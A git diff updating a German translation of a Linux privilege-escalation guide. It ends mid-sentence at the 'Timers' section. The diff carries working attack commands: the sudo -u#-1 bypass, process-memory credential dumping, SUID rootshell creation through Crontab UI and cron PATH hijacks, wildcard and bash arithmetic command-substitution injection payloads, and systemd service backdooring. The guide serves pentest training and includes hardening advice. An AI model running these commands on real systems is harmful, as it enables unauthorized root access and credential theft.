diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89f..000000000 Binary files a/src/images/k8studio.jpg and /dev/null differ diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 000000000..0add889f2 Binary files /dev/null and b/src/images/k8studio.png differ diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index cb3028ff6..654ff650d 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### OS info -Fangen wir damit an, Informationen über das laufende OS zu sammeln +Fangen wir an, Informationen über das laufende OS zu sammeln. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Wenn Sie **Schreibrechte für einen Ordner innerhalb der `PATH`** Variable haben, können Sie möglicherweise einige libraries oder binaries hijack: +Wenn du Schreibrechte auf einen Ordner innerhalb der `PATH`-Variable hast, kannst du möglicherweise einige libraries oder binaries hijack: ```bash echo $PATH ``` @@ -26,16 +26,16 @@ Interessante Informationen, Passwörter oder API-Schlüssel in den Umgebungsvari ``` ### Kernel exploits -Überprüfe die kernel version und ob es einen exploit gibt, der verwendet werden kann, um privileges zu eskalieren +Überprüfe die Kernel-Version und ob es einen Exploit gibt, der zur Eskalation von Privilegien verwendet werden kann. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Du findest eine gute Liste anfälliger Kernel und einige bereits **compiled exploits** hier: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) und [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Weitere Seiten, auf denen du einige **compiled exploits** finden kannst: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Du findest eine gute Liste verwundbarer Kernel und einige bereits **compiled exploits** hier: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) und [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Andere Seiten, auf denen du einige **compiled exploits** finden kannst: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Um alle anfälligen Kernel-Versionen von dieser Webseite zu extrahieren, kannst du: +Um alle verwundbaren Kernel-Versionen von dieser Webseite zu extrahieren, kannst du Folgendes tun: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ Tools, die bei der Suche nach kernel exploits helfen können, sind: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (auf dem Opfer ausführen, prüft nur exploits für kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, prüft nur exploits für kernel 2.x) -Suche immer die Kernel-Version in Google, vielleicht ist deine Kernel-Version in einem kernel exploit erwähnt, dann kannst du sicher sein, dass dieser Exploit gültig ist. +Suche immer **die kernel version in Google**, vielleicht ist deine kernel version in einem kernel exploit erwähnt und dann kannst du sicher sein, dass dieser exploit gültig ist. ### CVE-2016-5195 (DirtyCow) @@ -59,23 +59,23 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo-Version -Basierend auf den verwundbaren sudo-Versionen, die in den folgenden Einträgen erscheinen: +Basierend auf den anfälligen sudo-Versionen, die in: ```bash searchsploit sudo ``` -Du kannst mit diesem grep prüfen, ob die sudo-Version verwundbar ist. +Du kannst prüfen, ob die sudo-Version anfällig ist, indem du dieses grep verwendest. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 Von @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg Signaturüberprüfung fehlgeschlagen +### Dmesg Signaturprüfung fehlgeschlagen -Sieh dir die **smasher2 box of HTB** für ein **Beispiel** an, wie diese vuln ausgenutzt werden kann. +Sieh dir die **smasher2 box of HTB** an, um ein **Beispiel** dafür zu sehen, wie diese vuln ausgenutzt werden könnte. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Mögliche Gegenmaßnahmen auflisten +## Mögliche Verteidigungen auflisten ### AppArmor ```bash @@ -125,13 +125,14 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null Wenn du dich in einem docker container befindest, kannst du versuchen, daraus zu entkommen: + {{#ref}} docker-security/ {{#endref}} ## Laufwerke -Überprüfe **was gemountet und ungemountet ist**, wo und warum. Wenn etwas ungemountet ist, könntest du versuchen, es zu mounten und nach privaten Informationen zu suchen. +Überprüfe **was gemountet und nicht gemountet ist**, wo und warum. Wenn etwas nicht gemountet ist, könntest du versuchen, es zu mounten und nach privaten Informationen zu suchen. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,56 +145,56 @@ Nützliche Binaries auflisten ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Prüfe außerdem, ob **ein Compiler installiert ist**. Das ist nützlich, wenn du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu kompilieren, auf der du ihn verwenden willst (oder auf einer ähnlichen). +Prüfe außerdem, ob **irgendein Compiler installiert ist**. Das ist nützlich, wenn du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu kompilieren, auf der du ihn einsetzen willst (oder auf einer ähnlichen). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Verwundbare Software installiert +### Installierte verwundbare Software -Prüfen Sie die **Version der installierten Pakete und Dienste**. Vielleicht gibt es eine alte Nagios-Version (zum Beispiel), die ausgenutzt werden könnte, um escalating privileges zu erreichen…\ -Es empfiehlt sich, die Version der verdächtigen installierten Software manuell zu überprüfen. +Überprüfe die **Version der installierten Pakete und Dienste**. Vielleicht gibt es eine alte Nagios-Version (zum Beispiel), die für escalating privileges ausgenutzt werden könnte…\ +Es wird empfohlen, die Version der verdächtigeren installierten Software manuell zu überprüfen. ```bash dpkg -l #Debian rpm -qa #Centos ``` If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Beachte, dass diese Befehle viele Informationen anzeigen, die größtenteils nutzlos sind; daher werden Anwendungen wie OpenVAS oder ähnliche empfohlen, die prüfen, ob eine installierte Software-Version gegenüber bekannten Exploits verwundbar ist_ +> [!NOTE] > _Beachte, dass diese Befehle viele Informationen anzeigen werden, die größtenteils nutzlos sind; daher wird empfohlen, Anwendungen wie OpenVAS oder ähnliche zu verwenden, die prüfen, ob installierte Softwareversionen gegenüber bekannten Exploits verwundbar sind._ ## Prozesse -Schau dir an, **welche Prozesse** ausgeführt werden, und überprüfe, ob ein Prozess **mehr Privilegien hat, als er haben sollte** (z. B. ein tomcat, der von root ausgeführt wird?) +Schau dir an, **welche Prozesse** ausgeführt werden, und prüfe, ob ein Prozess **mehr Privilegien hat, als er haben sollte** (vielleicht läuft ein tomcat als root?) ```bash ps aux ps -ef top -n 1 ``` Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Prüfe außerdem **deine Rechte auf die Prozessbinaries**, vielleicht kannst du welche überschreiben. +Auch **prüfe deine Rechte auf die Prozess-Binaries**, vielleicht kannst du welche überschreiben. -### Process monitoring +### Prozessüberwachung -Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um anfällige Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Bedingungen erfüllt ist. +Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn bestimmte Voraussetzungen erfüllt sind. -### Process memory +### Prozessspeicher -Einige Dienste auf einem Server speichern **Zugangsdaten im Klartext im Speicher**.\ -Normalerweise benötigst du **root-Privilegien**, um den Speicher von Prozessen anderer Benutzer zu lesen; daher ist das meist nützlicher, wenn du bereits root bist und weitere Zugangsdaten finden möchtest.\ -Denke jedoch daran, dass **du als normaler Benutzer den Speicher der Prozesse lesen kannst, die dir gehören**. +Einige Dienste auf einem Server speichern **credentials im Klartext im Speicher**.\ +Normalerweise benötigst du **root privileges**, um den Speicher von Prozessen zu lesen, die anderen Nutzern gehören; daher ist das meist nützlicher, wenn du bereits root bist und weitere credentials finden möchtest.\ +Denke jedoch daran, dass **du als regulärer Benutzer den Speicher der Prozesse lesen kannst, die dir gehören**. > [!WARNING] -> Beachte, dass heutzutage die meisten Maschinen **ptrace standardmäßig nicht erlauben**, was bedeutet, dass du keine anderen Prozesse deines unprivilegierten Benutzers dumpen kannst. +> Beachte, dass heutzutage die meisten Maschinen **ptrace standardmäßig nicht erlauben**, was bedeutet, dass du andere Prozesse, die deinem unprivileged user gehören, nicht dumpen kannst. > > Die Datei _**/proc/sys/kernel/yama/ptrace_scope**_ steuert die Zugänglichkeit von ptrace: > -> - **kernel.yama.ptrace_scope = 0**: alle Prozesse können debuggt werden, solange sie die gleiche uid haben. Dies ist die klassische Funktionsweise von ptrace. +> - **kernel.yama.ptrace_scope = 0**: alle Prozesse können debuggt werden, solange sie die gleiche uid haben. Das ist die klassische Art, wie ptracing funktionierte. > - **kernel.yama.ptrace_scope = 1**: es kann nur ein Parent-Prozess debuggt werden. -> - **kernel.yama.ptrace_scope = 2**: nur Administratoren können ptrace nutzen, da die CAP_SYS_PTRACE-Fähigkeit erforderlich ist. -> - **kernel.yama.ptrace_scope = 3**: keine Prozesse dürfen mit ptrace verfolgt werden. Sobald gesetzt, ist ein Reboot nötig, um ptracing wieder zu ermöglichen. +> - **kernel.yama.ptrace_scope = 2**: nur admin kann ptrace verwenden, da die CAP_SYS_PTRACE-Fähigkeit erforderlich ist. +> - **kernel.yama.ptrace_scope = 3**: keine Prozesse dürfen mit ptrace verfolgt werden. Nach dem Setzen ist ein Reboot notwendig, um ptracing wieder zu ermöglichen. #### GDB -Wenn du Zugriff auf den Speicher eines FTP-Services (zum Beispiel) hast, könntest du den Heap auslesen und darin nach seinen Zugangsdaten suchen. +Wenn du Zugriff auf den Speicher eines FTP-Services (zum Beispiel) hast, könntest du den Heap auslesen und darin nach credentials suchen. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB-Skript +#### GDB Skript ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Für eine gegebene Prozess-ID zeigen **maps, wie der Speicher innerhalb dieses Prozesses abgebildet ist**, im virtuellen Adressraum; sie zeigen auch die **Zugriffsrechte jeder abgebildeten Region**. Die Pseudo-Datei **mem** **macht den Speicher des Prozesses direkt zugänglich**. Aus der **maps**-Datei wissen wir, welche **Speicherbereiche lesbar** sind und deren Offsets. Wir verwenden diese Informationen, um in die **mem**-Datei zu springen und alle lesbaren Bereiche in eine Datei zu schreiben. +Für eine gegebene Prozess-ID zeigen die **maps, wie der Speicher im virtuellen Adressraum dieses Prozesses abgebildet ist**; sie zeigen auch die **Berechtigungen jeder abgebildeten Region**. Die Pseudo-Datei **mem** legt **den Speicher des Prozesses selbst** offen. Aus der **maps**-Datei wissen wir, welche **Speicherbereiche lesbar sind** und deren Offsets. Wir verwenden diese Informationen, um **in die mem-Datei zu seeken und alle lesbaren Bereiche in eine Datei zu dumpen**. ```bash procdump() ( @@ -230,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann über /dev/kmem angesprochen werden.\ -Typischerweise ist `/dev/mem` nur für **root** und die **kmem**-Gruppe lesbar. +`/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Auf den virtuellen Adressraum des Kernels kann über /dev/kmem zugegriffen werden.\ +Typischerweise ist `/dev/mem` nur von **root** und der Gruppe **kmem** lesbar. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump für Linux -ProcDump ist eine für Linux neu interpretierte Version des klassischen ProcDump-Tools aus der Sysinternals-Suite für Windows. Erhältlich unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump ist eine für Linux neu gedachte Umsetzung des klassischen ProcDump-Tools aus der Sysinternals-Suite für Windows. Erhältlich unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,29 +267,29 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Werkzeuge -Um den Speicher eines Prozesses zu dumpen, können Sie folgende Tools verwenden: +Um den Speicher eines Prozesses auszulesen, kannst du folgende Tools verwenden: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Sie können die Root-Anforderungen manuell entfernen und den Prozess dumpen, der Ihnen gehört -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root ist erforderlich) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Du kannst manuell die root-Anforderungen entfernen und den dir gehörenden Prozess dumpen +- Script A.5 aus [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root ist erforderlich) -### Zugangsdaten aus dem Prozessspeicher +### Credentials aus dem Prozessspeicher #### Manuelles Beispiel -Wenn Sie feststellen, dass der authenticator-Prozess läuft: +Wenn du feststellst, dass der authenticator-Prozess läuft: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Du kannst den Prozess dumpen (siehe vorherige Abschnitte, um verschiedene Wege zu finden, den Speicher eines Prozesses zu dumpen) und im Speicher nach credentials suchen: +Du kannst den Prozess dumpen (siehe frühere Abschnitte, um verschiedene Möglichkeiten zu finden, den Speicher eines Prozesses zu dumpen) und im Speicher nach credentials suchen: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Das Tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) stiehlt **Klartext-Anmeldeinformationen aus dem Speicher** und aus einigen **bekannten Dateien**. Es benötigt Root-Rechte, um richtig zu funktionieren. +Das Tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) wird **Klartext-Anmeldeinformationen aus dem Arbeitsspeicher stehlen** und aus einigen **bekannten Dateien**. Es benötigt Root-Rechte, um richtig zu funktionieren. | Funktion | Prozessname | | ------------------------------------------------- | -------------------- | @@ -296,8 +297,8 @@ Das Tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/hu | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (aktive FTP-Verbindungen) | vsftpd | -| Apache2 (aktive HTTP-Basic-Auth-Sitzungen) | apache2 | -| OpenSSH (aktive SSH-Sitzungen - Sudo-Nutzung) | sshd: | +| Apache2 (aktive HTTP Basic-Auth-Sitzungen) | apache2 | +| OpenSSH (aktive SSH-Sitzungen - Sudo-Verwendung) | sshd: | #### Such-Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -313,41 +314,39 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Geplante/Cron-Jobs +## Geplante/Cron jobs -### Crontab UI (alseambusher) läuft als root – webbasierte Scheduler privesc +### Crontab UI (alseambusher) running as root – web-based scheduler privesc -Wenn ein Web “Crontab UI” Panel (alseambusher/crontab-ui) als root läuft und nur an loopback gebunden ist, kannst du es trotzdem über SSH local port-forwarding erreichen und einen privilegierten Job erstellen, um Privilegien zu eskalieren. +Wenn ein Web-"Crontab UI" Panel (alseambusher/crontab-ui) als root läuft und nur an Loopback gebunden ist, kannst du es trotzdem über SSH local port-forwarding erreichen und einen privilegierten Job erstellen, um zu eskalieren. -Typische Kette -- Einen nur an loopback gebundenen Port entdecken (z.B., 127.0.0.1:8000) und das Basic-Auth realm mittels `ss -ntlp` / `curl -v localhost:8000` -- Anmeldeinformationen in operativen Artefakten finden: -- Backups/Skripte mit `zip -P ` -- systemd-Unit, die `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` offenlegt -- Tunnel aufbauen und Anmeldung: +Typischer Ablauf +- Finde nur auf Loopback hörenden Port (z.B., 127.0.0.1:8000) und Basic-Auth-Realm via `ss -ntlp` / `curl -v localhost:8000` +- Finde Zugangsdaten in operativen Artefakten: +- Backups/scripts mit `zip -P ` +- systemd unit, die `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` exponiert +- Tunnel und Login: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- Erstelle einen hochprivilegierten Job und führe ihn sofort aus (erzielt eine SUID shell): +- Erstelle einen high-priv job und führe ihn sofort aus (drops SUID shell): ```bash # Name: escalate # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` -- Verwenden Sie es: +- Nutze es: ```bash /tmp/rootshell -p # root shell ``` Härtung -- Crontab UI nicht als root ausführen; auf einen dedizierten Benutzer mit minimalen Berechtigungen beschränken -- An localhost binden und zusätzlich den Zugriff via firewall/VPN einschränken; Passwörter nicht wiederverwenden -- Vermeide das Einbetten von Secrets in unit files; verwende secret stores oder eine root-only EnvironmentFile -- Audit/Logging für on-demand Job-Ausführungen aktivieren +- Führen Sie Crontab UI nicht als root aus; beschränken Sie es auf einen dedizierten Benutzer und minimale Berechtigungen +- An localhost binden und zusätzlich den Zugriff über firewall/VPN einschränken; Passwörter nicht wiederverwenden +- Vermeiden Sie das Einbetten von secrets in unit files; verwenden Sie secret stores oder eine root-only EnvironmentFile +- Aktivieren Sie audit/logging für On-Demand-Jobausführungen - - -Prüfe, ob ein geplanter Job verwundbar ist. Vielleicht kannst du ein Skript ausnutzen, das von root ausgeführt wird (wildcard vuln? kannst du Dateien ändern, die root verwendet? symlinks verwenden? bestimmte Dateien in dem Verzeichnis erstellen, das root nutzt?). +Prüfen Sie, ob ein geplanter Job verwundbar ist. Vielleicht können Sie ein von root ausgeführtes Script ausnutzen (wildcard vuln? kann Dateien ändern, die root verwendet? symlinks verwenden? bestimmte Dateien im Verzeichnis erstellen, das root verwendet?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -359,22 +358,22 @@ Zum Beispiel findest du in _/etc/crontab_ den PATH: _PATH=**/home/user**:/usr/lo (_Beachte, dass der Benutzer "user" Schreibrechte auf /home/user hat_) -Wenn in dieser crontab der root-Benutzer versucht, einen Befehl oder ein Skript auszuführen, ohne den PATH zu setzen. Zum Beispiel: _\* \* \* \* root overwrite.sh_\ -Dann kannst du eine root-Shell erhalten, indem du Folgendes verwendest: +Wenn in diesem crontab der Benutzer root versucht, einen Befehl oder ein Script auszuführen, ohne den PATH zu setzen. Zum Beispiel: _\* \* \* \* root overwrite.sh_\ +Dann kannst du eine root shell erhalten, indem du: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron, das ein Skript mit einem Wildcard verwendet (Wildcard Injection) -Wenn ein Script, das als root ausgeführt wird, ein “**\***” in einem Befehl enthält, kann man das ausnutzen, um unerwartete Dinge zu erreichen (wie privesc). Beispiel: +Wenn ein Skript, das als root ausgeführt wird, ein “**\***” in einem Befehl enthält, kannst du dies ausnutzen, um unerwartete Dinge zu bewirken (z. B. privesc). Beispiel: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Wenn der wildcard einem Pfad wie** _**/some/path/\***_ **vorangestellt ist, ist er nicht verwundbar (auch** _**./\***_ **nicht).** +**Wenn der wildcard einem Pfad wie** _**/some/path/\***_ **vorgeht, ist er nicht verwundbar (selbst** _**./\***_ **nicht).** -Siehe die folgende Seite für weitere wildcard exploitation tricks: +Lies die folgende Seite für weitere Tricks zur wildcard-Exploitation: {{#ref}} @@ -384,9 +383,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash führt parameter expansion und command substitution vor der arithmetischen Auswertung in ((...)), $((...)) und let durch. Wenn ein root cron/parser nicht vertrauenswürdige Log-Felder liest und sie in einen arithmetischen Kontext einspeist, kann ein Angreifer eine command substitution $(...) injizieren, die beim Ausführen des cron als root ausgeführt wird. +Bash führt parameter expansion und command substitution vor der arithmetic evaluation in ((...)), $((...)) und let aus. Wenn ein root cron/parser untrusted Log-Felder einliest und diese in einen arithmetic context einspeist, kann ein Angreifer eine command substitution $(...) injizieren, die beim Ausführen des cron als root ausgeführt wird. -- Warum es funktioniert: In Bash erfolgen die Expansionen in folgender Reihenfolge: parameter/variable expansion, command substitution, arithmetic expansion, dann word splitting und pathname expansion. Ein Wert wie `$(/bin/bash -c 'id > /tmp/pwn')0` wird also zuerst substituiert (der Befehl läuft), dann wird die verbleibende Zahl `0` für die Arithmetik verwendet, sodass das Script ohne Fehler fortgesetzt wird. +- Warum es funktioniert: In Bash erfolgen die expansions in dieser Reihenfolge: parameter/variable expansion, command substitution, arithmetic expansion, dann word splitting und pathname expansion. Ein Wert wie `$(/bin/bash -c 'id > /tmp/pwn')0` wird zuerst substituiert (der Befehl läuft), danach wird die verbleibende numerische `0` für die Arithmetik verwendet, sodass das Script ohne Fehler weiterläuft. - Typisches verwundbares Muster: ```bash @@ -398,7 +397,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Ausnutzung: Bringe vom Angreifer kontrollierten Text in das geparste Log, so dass das numerisch aussehende Feld eine command substitution enthält und mit einer Ziffer endet. Stelle sicher, dass dein Befehl nichts auf stdout ausgibt (oder leite es um), damit die Arithmetik gültig bleibt. +- Ausnutzung: Sorge dafür, dass attacker-controlled Text in das geparste Log geschrieben wird, sodass das zahlähnliche Feld eine command substitution enthält und mit einer Ziffer endet. Stelle sicher, dass dein Befehl nichts auf stdout ausgibt (oder leite es um), damit die Arithmetik gültig bleibt. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -406,12 +405,14 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ``` ### Cron script overwriting and symlink + +If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Wenn das von root ausgeführte script ein **directory where you have full access** verwendet, kann es nützlich sein, diesen folder zu löschen und einen **create a symlink folder to another one** anzulegen, der ein von dir kontrolliertes script bereitstellt. +Wenn das von root ausgeführte Script ein **Verzeichnis, auf das Sie vollständigen Zugriff haben**, verwendet, kann es nützlich sein, diesen Ordner zu löschen und einen **symlink-Ordner zu einem anderen** zu erstellen, der ein von Ihnen kontrolliertes Script bereitstellt. ```bash ln -d -s ``` @@ -419,15 +420,15 @@ ln -d -s Du kannst die Prozesse überwachen, um nach Prozessen zu suchen, die alle 1, 2 oder 5 Minuten ausgeführt werden. Vielleicht kannst du das ausnutzen und escalate privileges. -Zum Beispiel, um **alle 0.1s während 1 Minute zu überwachen**, **nach den am wenigsten ausgeführten Befehlen zu sortieren** und die Befehle zu löschen, die am häufigsten ausgeführt wurden, kannst du: +Zum Beispiel, um **alle 0.1s während 1 Minute zu überwachen**, **nach den am wenigsten ausgeführten Befehlen zu sortieren** und die am häufigsten ausgeführten Befehle zu löschen, kannst du Folgendes tun: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Du kannst auch** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dies wird jeden gestarteten Prozess überwachen und auflisten). +**Sie können auch** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dies wird jeden gestarteten Prozess überwachen und auflisten). ### Unsichtbare cron jobs -Es ist möglich, einen cronjob zu erstellen, indem man **einen carriage return nach einem Kommentar setzt** (ohne newline-Zeichen), und der cron job wird funktionieren. Beispiel (achte auf das carriage return-Zeichen): +Es ist möglich, einen cronjob zu erstellen, indem man nach einem Kommentar **einen carriage return setzt** (ohne newline character), und der cron job wird funktionieren. Beispiel (beachte das carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -435,58 +436,57 @@ Es ist möglich, einen cronjob zu erstellen, indem man **einen carriage return n ### Schreibbare _.service_ Dateien -Prüfe, ob du eine `.service` Datei schreiben kannst, wenn ja, **könntest du sie ändern**, sodass sie **deine backdoor ausführt, wenn** der Dienst **gestartet**, **neu gestartet** oder **gestoppt** wird (vielleicht musst du warten, bis die Maschine neu gebootet wird).\ +Überprüfe, ob du eine `.service`-Datei schreiben kannst; wenn ja, **könntest du sie ändern**, sodass sie **deine backdoor ausführt, wenn** der Service **gestartet**, **neu gestartet** oder **gestoppt** wird (vielleicht musst du warten, bis die Maschine neu gebootet wird).\ +Zum Beispiel erstelle deine backdoor innerhalb der .service-Datei mit **`ExecStart=/tmp/script.sh`** -Zum Beispiel erstelle deine backdoor innerhalb der .service Datei mit **`ExecStart=/tmp/script.sh`** +### Schreibbare service binaries -### Schreibbare Service-Binärdateien +Beachte, dass wenn du **write permissions over binaries being executed by services** hast, du diese verändern kannst, um backdoors einzuschleusen, sodass beim erneuten Ausführen der services die backdoors ausgeführt werden. -Beachte, dass wenn du **Schreibrechte auf Binärdateien hast, die von Diensten ausgeführt werden**, du diese für backdoors ändern kannst, sodass beim erneuten Ausführen der Dienste die backdoors ausgeführt werden. +### systemd PATH - Relative Pfade -### systemd PATH - Relative Paths - -Du kannst den PATH sehen, den **systemd** verwendet mit: +Du kannst den von **systemd** verwendeten PATH mit folgendem Befehl sehen: ```bash systemctl show-environment ``` -Wenn du feststellst, dass du in einem der Ordner des Pfads **schreiben** kannst, kannst du möglicherweise **Privilegien eskalieren**. Du musst nach **relativen Pfaden, die in Service-Konfigurationsdateien verwendet werden** suchen, wie: +Wenn du feststellst, dass du in einem der Ordner des Pfads **schreiben** kannst, könntest du möglicherweise **Privilegien eskalieren**. Du musst nach **relativen Pfaden, die in Service-Konfigurationsdateien verwendet werden**, suchen, wie: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Dann erstelle ein **ausführbares Programm** mit dem **gleichen Namen wie das relative Pfad-Binary** im systemd PATH-Ordner, in den du schreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird dein **backdoor** ausgeführt (nicht privilegierte Benutzer können in der Regel Services nicht starten/stoppen, prüfe aber, ob du `sudo -l` verwenden kannst). +Erstelle dann ein **ausführbares Programm** mit dem **gleichen Namen wie das relative path binary** im systemd PATH-Ordner, den du beschreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird deine **backdoor** ausgeführt (nicht-privilegierte Benutzer können Dienste normalerweise nicht starten/stoppen, prüfe jedoch, ob du `sudo -l` verwenden kannst). -**Erfahre mehr über Services mit `man systemd.service`.** +**Erfahre mehr über Dienste mit `man systemd.service`.** ## **Timers** -**Timers** sind 